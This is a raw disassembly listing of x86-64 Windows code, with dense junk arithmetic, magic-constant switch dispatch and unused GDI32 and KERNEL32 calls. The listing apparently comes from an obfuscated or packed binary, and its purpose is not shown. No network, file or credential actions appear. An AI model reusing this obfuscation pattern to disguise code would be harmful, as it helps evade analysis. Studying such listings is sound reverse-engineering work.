mov rcx, qword [rsp + 0x3a40]
mov qword [rsp + 0x3b40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3b40]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1f8c], eax
mov eax, dword [rsp + 0x1fa0]
movzx ecx, al
mov eax, dword [rsp + 0x1f8c]
sar eax, cl
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a38]
mov ecx, dword [rsp + 0x1f90]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1f7c], eax
movabs rax, 0x7044f639b8acd2
mov rcx, qword [rsp + 0x2fa8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
sub eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
mov r8d, 0x3d
mov edx, 0xc7
mov rcx, qword [rsp + 0x3b48]
call qword [sym.imp.GDI32.dll_PtVisible]
mov dword [rsp + 0x1f60], eax
movzx eax, word [rsp + 0xc60]
and eax, 0x5f
mov word [rsp + 0xc60], ax
mov eax, dword [rsp + 0x1f68]
mov rcx, qword [rsp + 0x3a40]
mov qword [rsp + 0x3b50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3b50]
mov eax, dword [rax]
sar eax, cl
mov ecx, dword [rsp + 0x1f8c]
mov edx, dword [rsp + 0x1fa0]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x14001ed16
lea rax, [rsp + 0x34f8]
mov qword [rsp + 0x3b58], rax
movzx eax, word [rsp + 0xc60]
cmp eax, 0x677
jg 0x14001eca8
mov eax, dword [rsp + 0x1f7c]
mov dword [rsp + 0x1fac], eax
cmp dword [rsp + 0x1fac], 0x79ef
ja 0x14001e5fa
cmp dword [rsp + 0x1fac], 0x79ef
je 0x14001ec4d
cmp dword [rsp + 0x1fac], 0
je 0x14001e74a
cmp dword [rsp + 0x1fac], 0x23fa
je 0x14001e621
cmp dword [rsp + 0x1fac], 0x288b
je 0x14001ec6f
jmp 0x14001eca6
cmp dword [rsp + 0x1fac], 0x9fd2
je 0x14001e6bb
cmp dword [rsp + 0x1fac], 0xc1e5
je 0x14001ec94
jmp 0x14001eca6
mov rax, qword [rsp + 0x3b58]
mov rax, qword [rax]
sar rax, 0x17
mov qword [rsp + 0x34f8], rax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
sub eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a38]
mov ecx, dword [rsp + 0x1c58]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b28]
movabs rcx, 0x7d7c9a16122d27
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2fa8], rax
mov rax, qword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
jmp 0x14001eca6
mov rax, qword [rsp + 0x3a68]
mov ecx, dword [rsp + 0x1f90]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b58]
mov rax, qword [rax]
sar rax, 0x2f
mov qword [rsp + 0x34f8], rax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
mov eax, dword [rsp + 0x1fa0]
movzx ecx, al
mov eax, dword [rsp + 0x1f68]
shl eax, cl
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1f8c]
mov ecx, dword [rsp + 0x1fa0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f68], eax
jmp 0x14001eca6
mov eax, dword [rsp + 0x1f90]
mov ecx, dword [rsp + 0x1f7c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x1c58]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x14001ec4b
lea rax, [rsp + 0x34f8]
mov qword [rsp + 0x3b60], rax
mov rax, qword [rsp + 0x3b28]
mov rax, qword [rax]
mov qword [rsp + 0x3b68], rax
movabs rax, 0x7b688c85e8dd2a
cmp qword [rsp + 0x3b68], rax
ja 0x14001e824
movabs rax, 0x7b688c85e8dd2a
cmp qword [rsp + 0x3b68], rax
je 0x14001e976
cmp qword [rsp + 0x3b68], 0
je 0x14001e99b
movabs rax, 0x74102ca3a3d18f
cmp qword [rsp + 0x3b68], rax
je 0x14001e909
movabs rax, 0x7936e0745124b7
cmp qword [rsp + 0x3b68], rax
je 0x14001ebbc
movabs rax, 0x7ac9febe75c872
cmp qword [rsp + 0x3b68], rax
je 0x14001ec2a
jmp 0x14001ec4b
movabs rax, 0x7cf27694573970
cmp qword [rsp + 0x3b68], rax
je 0x14001e885
movabs rax, 0x7d5dfefba52f9a
cmp qword [rsp + 0x3b68], rax
je 0x14001ec04
movabs rax, 0x7d63e65218f23b
cmp qword [rsp + 0x3b68], rax
je 0x14001ebd6
movabs rax, 0x7d9c83cbc5d676
cmp qword [rsp + 0x3b68], rax
je 0x14001eb9a
jmp 0x14001ec4b
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f90]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1f7c]
movzx ecx, al
mov eax, dword [rsp + 0x1f90]
shr eax, cl
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b28]
movabs rcx, 0x7a30ef1e5d3139
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2fa8], rax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
jmp 0x14001ec4b
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f7c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
lea r9, [rsp + 0x3b58]
mov r8d, 0x4f
mov edx, 0xf
mov rcx, qword [rsp + 0x3b48]
call qword [sym.imp.GDI32.dll_GetDIBColorTable]
mov dword [rsp + 0x1f90], eax
mov rax, qword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x3b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x34f8], rax
jmp 0x14001ec4b
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
jmp 0x14001ec4b
lea rax, [rsp + 0xc5c]
mov qword [rsp + 0x3b70], rax
lea rax, [rsp + 0x34f8]
mov qword [rsp + 0x3b78], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1fb0], eax
mov dword [rsp + 0x1fb4], 0xf61b
mov eax, dword [rsp + 0x1f68]
mov dword [rsp + 0x1fb8], eax
cmp dword [rsp + 0x1fb8], 0x3df847d3
jg 0x14001ea30
cmp dword [rsp + 0x1fb8], 0x3df847d3
je 0x14001eb06
cmp dword [rsp + 0x1fb8], 0
je 0x14001ea53
cmp dword [rsp + 0x1fb8], 0x37b5d69f
je 0x14001eb56
cmp dword [rsp + 0x1fb8], 0x3af8bdec
je 0x14001eb75
jmp 0x14001eb95
cmp dword [rsp + 0x1fb8], 0x4da5b2c7
je 0x14001eb20
cmp dword [rsp + 0x1fb8], 0x6cd1f91c
je 0x14001eac4
jmp 0x14001eb95
mov byte [rsp + 0x1ab], 0x12
lea rax, [rsp + 0x1c58]
mov qword [rsp + 0x3b80], rax
lea rax, [rsp + 0x2fa8]
mov qword [rsp + 0x3b88], rax
lea rax, [rsp + 0xc60]
mov qword [rsp + 0x3b90], rax
mov rax, qword [rsp + 0x3b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov dword [0x14018bdc0], eax
jmp 0x14001eb95
mov rax, qword [rsp + 0x3a40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1f68]
sar eax, cl
mov dword [rsp + 0x1f8c], eax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
jmp 0x14001eb95
movzx eax, word [rsp + 0xc60]
xor eax, 0x21d
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
jmp 0x14001eb95
mov rax, qword [rsp + 0x3b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b88]
mov qword [rsp + 0x3b98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3b98]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2fa8], rax
jmp 0x14001eb95
mov rax, qword [rsp + 0x3a68]
mov ecx, dword [rsp + 0x1f7c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
jmp 0x14001eb95
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc58]
sub eax, ecx
mov rcx, qword [rsp + 0x3b70]
mov word [rcx], ax
jmp 0x14001ec4b
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3b70]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc5c], ax
jmp 0x14001ec4b
movzx eax, word [rsp + 0xc60]
and eax, 0x16c
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
jmp 0x14001ec4b
mov eax, dword [rsp + 0x1f90]
mov rcx, qword [rsp + 0x3a68]
mov qword [rsp + 0x3ba0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3ba0]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14018bdc0], eax
jmp 0x14001ec4b
mov rax, qword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x3b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
jmp 0x14001ec4b
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
jmp 0x14001eca6
mov rax, qword [rsp + 0x3b00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc58]
add eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
jmp 0x14001eca6
mov r8d, 0x43
mov rdx, qword [rsp + 0x3ba8]
mov rcx, qword [rsp + 0x3a60]
call qword [sym.imp.GDI32.dll_GetRandomRgn]
mov dword [rsp + 0x1f68], eax
jmp 0x14001eca6
movsx eax, byte [rsp + 0x1ab]
and eax, 0x2a
mov byte [rsp + 0x1ab], al
jmp 0x14001ed11
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1fa0]
mov eax, dword [rax]
xor eax, ecx
mov ecx, dword [rsp + 0x1f8c]
mov edx, dword [rsp + 0x1f68]
or edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14001ecf4
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x3b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2fa8], rax
jmp 0x14001ed11
mov rax, qword [rsp + 0x3a68]
mov ecx, dword [rsp + 0x1c58]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
jmp 0x14001ef86
movzx eax, word [rsp + 0xc60]
cmp eax, 0x3c1
jl 0x14001ee9d
mov eax, dword [rsp + 0x1fa0]
movzx ecx, al
mov eax, dword [rsp + 0x1f8c]
shl eax, cl
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1f68]
mov dword [rsp + 0x1fa0], eax
mov rax, qword [rsp + 0x3b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc58]
or eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
sar eax, cl
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
add eax, 0x3d6
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2fa8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b88]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1ab]
and eax, 0x58
mov byte [rsp + 0x1ab], al
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3b80]
mov qword [rsp + 0x3bb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3bb0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
add eax, 0x26c
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34f8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
jmp 0x14001ef86
mov rax, qword [rsp + 0x3a68]
mov rcx, qword [rsp + 0x3a38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x1c58]
mov edx, dword [rsp + 0x1f7c]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x14001ef86
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
shl eax, cl
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov r9d, 0x94
mov r8d, 0xc9
mov edx, 0x69
mov rcx, qword [rsp + 0x3a90]
call qword [sym.imp.GDI32.dll_SetPixelV]
mov dword [rsp + 0x1fbc], eax
mov rax, qword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x3b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x34f8], rax
mov rax, qword [rsp + 0x3b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34f8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1ab]
sar eax, 7
mov byte [rsp + 0x1ab], al
mov eax, dword [rsp + 0x1f7c]
mov ecx, dword [rsp + 0x1c58]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
lea rax, [rsp + 0x1f68]
mov qword [rsp + 0x3bb8], rax
cmp dword [rsp + 0x1fb4], 0xef0c
jb 0x14001f1d3
mov eax, dword [rsp + 0x1f68]
mov ecx, dword [rsp + 0x1fa0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f8c], eax
mov rax, qword [rsp + 0x3b28]
mov rcx, qword [rsp + 0x2fa8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3b70]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a38]
mov rcx, qword [rsp + 0x3a68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14018bdc0], eax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
sar eax, cl
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
movzx eax, word [rsp + 0xc60]
add eax, 0xbc6
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1ab]
and eax, 0x51
mov byte [rsp + 0x1ab], al
mov eax, dword [rsp + 0x1f7c]
movzx ecx, al
mov eax, dword [rsp + 0x1f90]
shl eax, cl
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x3b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2fa8], rax
mov eax, dword [rsp + 0x1fb4]
sub eax, 0x8b
mov dword [rsp + 0x1fb4], eax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
sar eax, 7
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34f8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34f8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
and eax, 0x120
mov word [rsp + 0xc60], ax
mov eax, dword [0x14018bdc0]
movzx ecx, al
mov eax, dword [rsp + 0x1f90]
shr eax, cl
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3bb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1fa0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f8c], eax
jmp 0x14001ef96
lea rax, [rsp + 0x2fa8]
mov qword [rsp + 0x3bc0], rax
lea rax, [rsp + 0x1ab]
mov qword [rsp + 0x3bc8], rax
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
mov qword [rsp + 0x3bd0], rax
cmp qword [rsp + 0x3bd0], 0
je 0x14001f25e
movabs rax, 0x7accb5cb2c74f4
cmp qword [rsp + 0x3bd0], rax
je 0x14001f5c9
movabs rax, 0x7cc01725f9ca03
cmp qword [rsp + 0x3bd0], rax
je 0x14001f453
movabs rax, 0x7d15c5aae8e298
cmp qword [rsp + 0x3bd0], rax
je 0x14001f6da
jmp 0x14001f757
lea rax, [rsp + 0x1f7c]
mov qword [rsp + 0x3bd8], rax
mov rax, qword [rsp + 0x3b28]
mov rax, qword [rax]
mov qword [rsp + 0x3be0], rax
movabs rax, 0x75ca1a409b58d7
cmp qword [rsp + 0x3be0], rax
je 0x14001f2e2
movabs rax, 0x777a0c90acbc22
cmp qword [rsp + 0x3be0], rax
je 0x14001f3c2
movabs rax, 0x78b137504f68b9
cmp qword [rsp + 0x3be0], rax
je 0x14001f436
movabs rax, 0x7ba13eb0d1a5a5
cmp qword [rsp + 0x3be0], rax
je 0x14001f41f
jmp 0x14001f44e
movsx eax, word [rsp + 0xc58]
movsx ecx, word [rsp + 0xc5c]
sub eax, ecx
mov rcx, qword [rsp + 0x3b70]
mov word [rcx], ax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3b70]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc5c], ax
movzx eax, word [rsp + 0xc60]
or eax, 0x7f9
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [rsp + 0x3b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
shl eax, 1
mov byte [rsp + 0x1ab], al
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x2fa8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3b88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3a38]
mov qword [rsp + 0x3be8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3be8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1c58], eax
jmp 0x14001f44e
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3b70]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
movzx eax, word [rsp + 0xc60]
and eax, 0x66d
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
jmp 0x14001f44e
mov rcx, qword [rsp + 0x3a90]
call qword [sym.imp.GDI32.dll_GetDCPenColor]
mov dword [rsp + 0x1c58], eax
jmp 0x14001f44e
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
add eax, 0xcb
mov word [rsp + 0xc60], ax
jmp 0x14001f757
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
sar eax, 0xb
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3bb8]
mov ecx, dword [rsp + 0x1f68]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1f90]
shl eax, cl
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
or eax, 0x72
mov byte [rsp + 0x1ab], al
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x2fa8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x3bc0]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3b70]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b80]
mov rcx, qword [rsp + 0x3bd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14018bdc0], eax
mov rax, qword [rsp + 0x3b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34f8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b58]
mov qword [rsp + 0x3bf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3bf0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc58], ax
movzx eax, word [rsp + 0xc60]
sub eax, 0xee8
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov eax, dword [rsp + 0x1c58]
mov ecx, dword [rsp + 0x1f7c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
jmp 0x14001f757
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
and eax, 0x5d
mov byte [rsp + 0x1ab], al
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x2fa8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b60]
mov qword [rsp + 0x3bf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3bf8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x3b48]
call qword [sym.imp.GDI32.dll_GetROP2]
mov dword [rsp + 0x1fc0], eax
mov rax, qword [rsp + 0x3b80]
mov rcx, qword [rsp + 0x3a68]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14018bdc0], eax
movzx eax, word [rsp + 0xc60]
shl eax, 0xb
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc58], ax
mov rax, qword [rsp + 0x3bb8]
mov ecx, dword [rsp + 0x1f68]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3bb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
jmp 0x14001f757
mov rax, qword [rsp + 0x3a38]
mov ecx, dword [rsp + 0x1c58]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1f90], eax
mov rax, qword [rsp + 0x3bc0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2fa8]
shr rax, cl
mov rcx, qword [rsp + 0x3b88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ab]
sub eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc5c], ax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ab]
cdq
idiv ecx
mov byte [0x14018acd9], al
mov eax, dword [rsp + 0x1fc0]
mov dword [rsp + 0x1fc4], eax
cmp dword [rsp + 0x1fc4], 0x4a0417f0
jg 0x14001f7d0
cmp dword [rsp + 0x1fc4], 0x4a0417f0
je 0x1400f27d6
cmp dword [rsp + 0x1fc4], 0
je 0x14001f7f7
cmp dword [rsp + 0x1fc4], 0x13c0b691
je 0x1400f2a92
cmp dword [rsp + 0x1fc4], 0x1edd5dfb
je 0x1400f2748
jmp 0x1400f2d34
cmp dword [rsp + 0x1fc4], 0x4b8315d2
je 0x1400f290c
cmp dword [rsp + 0x1fc4], 0x4dfeff7b
je 0x1400f2be3
jmp 0x1400f2d34
mov rax, qword [rsp + 0x3b70]
movzx eax, word [rax]
mov word [0x14018bdc4], ax
mov rax, qword [rsp + 0x3a40]
mov eax, dword [rax]
mov dword [rsp + 0x1fc8], eax
cmp dword [rsp + 0x1fc8], 0x50c4999d
jg 0x14001f869
cmp dword [rsp + 0x1fc8], 0x50c4999d
je 0x14002011b
cmp dword [rsp + 0x1fc8], 0
je 0x14001f8a1
cmp dword [rsp + 0x1fc8], 0x393768ed
je 0x14001fb47
cmp dword [rsp + 0x1fc8], 0x44b00b87
je 0x14001febb
jmp 0x140020226
cmp dword [rsp + 0x1fc8], 0x5226d5c8
je 0x14001fd4e
cmp dword [rsp + 0x1fc8], 0x5226e855
je 0x14001ffc7
cmp dword [rsp + 0x1fc8], 0x7159ee64
je 0x14001fc02
jmp 0x140020226
movsx eax, word [rsp + 0xc58]
mov dword [rsp + 0x1fcc], eax
cmp dword [rsp + 0x1fcc], 0x3a7
jg 0x14001f911
cmp dword [rsp + 0x1fcc], 0x3a7
je 0x14001fb2d
cmp dword [rsp + 0x1fcc], 0
je 0x14001fa51
cmp dword [rsp + 0x1fcc], 0x38
je 0x14001fb07
cmp dword [rsp + 0x1fcc], 0xa9
je 0x14001fae4
cmp dword [rsp + 0x1fcc], 0x133
je 0x14001fabe
jmp 0x14001fb42
cmp dword [rsp + 0x1fcc], 0x583
je 0x14001fa82
cmp dword [rsp + 0x1fcc], 0x729
je 0x14001fa65
cmp dword [rsp + 0x1fcc], 0x78f
je 0x14001f945
jmp 0x14001fb42
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
